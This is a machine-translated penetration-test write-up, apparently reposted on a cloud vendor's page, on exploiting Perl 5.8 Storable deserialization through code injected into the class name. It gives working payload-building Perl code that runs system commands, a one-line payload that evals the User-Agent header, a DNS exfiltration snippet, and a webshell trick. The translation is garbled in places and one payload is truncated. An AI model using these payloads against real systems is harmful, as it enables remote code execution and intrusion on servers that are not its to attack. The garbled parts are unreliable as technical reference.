Deserialization of PERL 5.8

Source: Internet
Author: User
Tags tld

Deserialization of PERL 5.8
0x00 simple article Translation

During the penetration test, I found that an application contains a form with a base64 encoded hidden attribute parameter named "state ", contains some strings and binary data.

#!bash$ echo  'BAcIMTIzNDU2NzgECAgIAwMAAAAEAwAAAAAGAAAAcGFyYW1zCIIEAAAAc3RlcAQDAQAAAAiAHgAAAF9fZ2V0X3dvcmtmbG93X2J1c2luZXNzX3BhcmFtcwQAAABkYXRh' | base64 -d | hd 00000000  04 07 08 31 32 33 34 35  36 37 38 04 08 08 08 03  |...12345678.....|00000010  03 00 00 00 04 03 00 00  00 00 06 00 00 00 70 61  |..............pa|00000020  72 61 6d 73 08 82 04 00  00 00 73 74 65 70 04 03  |rams......step..|00000030  01 00 00 00 08 80 1e 00  00 00 5f 5f 67 65 74 5f  |..........__get_|00000040  77 6f 72 6b 66 6c 6f 77  5f 62 75 73 69 6e 65 73  |workflow_busines|00000050  73 5f 70 61 72 61 6d 73  04 00 00 00 64 61 74 61  |s_params....data|

I opened the Intruder of burpsuite to perform the "Character frobber" fuzzing test. Through the returned results, I found something interesting. 1:

The results returned by the page expose the target using Perl and Storable 2.7. After Google search, I know that Storable is a Perl module used for data serialization. Check the Storable official documentation. We can see a large security prompt:

Some features of Storable can lead to security vulnerabilities if you accept Storable documents from untrusted sources. most obviusly, the optional (off by default) CODE reference serialization feature allows transfer of code to the deserializing process. furthermore, any serialized object will cause Storable to helpfully load the module corresponding to the class of the object in the deserializing module. for manipulated module names, this can load almost arbitrary code. finally, the deserialized object's destructors will be invoked when the objects get destroyed in the deserializing process. maliciously crafted Storable documents may put such objects in the value of a hash key that is overridden by another key/value pair in the same hash, thus causing immediate destructor execution.

For this security question, there is a video on youtube called "Weaponizing Perl Serialization Flaws with MetaSploit", the author also put the relevant code on github (https://github.com/lightsey/cve-2015-1592), with the experience of the predecessors, I want to apply it to my penetration project again, it should not be too difficult :), but after some tests, I found that I could not cope with my current penetration scenario based on previous experiences, storable uses the cross-platform nfreeze () function for serialization by default. The sample code is as follows:

#!perl#!/usr/bin/perluse MIME::Base64 qw( encode_base64 );use Storable qw( nfreeze );{    package foobar;    sub STORABLE_freeze { return 1; }}# Serialize the datamy $data = bless { ignore => 'this' }, 'foobar';my $frozen = nfreeze($data);# Encode as Base64+URL and display$frozen = encode_base64($frozen, '');$frozen =~ s/\+/%2B/g;$frozen =~ s/=/%3D/g;print "$frozen\n";

When running this code, the following error is reported:

#!bashNo STORABLE_thaw defined for objects of class foobar (even after a "require foobar;") at ../../lib/Storable.pm (autosplit into ../../lib/auto/Storable/thaw.al) line 366, at /var/www/cgi-bin/victim line 29For help, please send mail to the webmaster ([email protected]), giving this error message and the time and date of the error.

Through the error message, I think that by controlling the "foorbar" character, try to inject ";", you may be able to inject malicious Perl code to run: D. to verify my ideas, I use.

#!perlif (!Gv_AMG(stash)) {        const char *package = HvNAME_get(stash);        TRACEME(("No overloading defined for package %s", package));        TRACEME(("Going to load module '%s'", package));        load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv);        if (!Gv_AMG(stash)) {                CROAK(("Cannot restore overloading on %s(0x%"UVxf") (package %s) (even after a \"require %s;\")",                       sv_reftype(sv, FALSE), PTR2UV(sv), package, package));        }}

In Storable. the error message "No STORABLE_thaw defined for objects" is found in the source code of xs. The load_module (PERL_LOADMOD_NOIMPORT, newSVpv (classname, 0), and Nullsv) of Line 1 is located ); load_module () is called only here, and there is no requrie function I want. But this is not the case in the video. I checked Storable of version 2.15. xs source code javasperl_eval_sv (psv, G_DISCARD );

#!perl4295,4298c4387,4388<               TRACEME(("Going to require module '%s' with '%s'", classname, SvPVX(psv)));< <               perl_eval_sv(psv, G_DISCARD);<               sv_free(psv);--->               TRACEME(("Going to load module '%s'", classname));>               load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);

As you can see, the object name (the character after the package name) is directly passed into the perl_eval_sv () function. Perl> = 5.10 will use the new loading mechanism, so it is not affected by this vulnerability, and my target runs in Perl 5.8, perl of version 5.8 is installed by default in many old Linux releases (such as RHEL/CentOS 5) and is affected by this vulnerability. Here, I only need to put my payload after the object name. I can load the "POSIX" module and run the system command through eval. However, note that the object name is 252 bytes in length, but it is enough for us to write payload. If I want to obtain the returned information through dns, payload can be constructed as follows:

#!perlSocket;use MIME::Base64;sub x{$z=shift;for($i=0;$i
 
  ){x($_)}
 

Payload can be constructed very short. For example, you can use User-Agent to obtain the command, and then put it into the eval () of the POSIX module for execution.

#!perlPOSIX;eval($ENV{HTTP_USER_AGENT});exit;

Here is another trick: if the target CGI does not show an error, I can use the fatalsToBrowser of CGI: Carp to send both the normal output and error message to the browser, to implement a simple webshell.

Here I provide the ingress.

0x01 local test

My test code is as follows:

#!perl#!/usr/bin/perluse MIME::Base64 qw( encode_base64 );use Storable qw( nfreeze );print Storable->VERSION."\n";{    package foobar;POSIX;eval(system("uname"));exit;;;;;    sub STORABLE_freeze { return 1; }}# Serialize the datamy $data = bless { ignore => 'this' }, 'foobar;POSIX;eval(system("uname"));;;;;;;';my $frozen = nfreeze($data);print $frozen;# Encode as Base64+URL and display$frozen = encode_base64($frozen, '');$frozen =~ s/\+/%2B/g;$frozen =~ s/=/%3D/g;print "BASE64:$frozen\n";

If you only perform a local test, you can use perlbrew to switch perl5.8.9 and perl 5.14.2 that comes with kali 1.10. Test Result 2 is as follows:

We can see that perl 5.8.9 is affected by the vulnerability, but perl 5.14.2 is not affected.

Next, in the test of perl cgi, the code will use the Pipeline provided by the author:

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.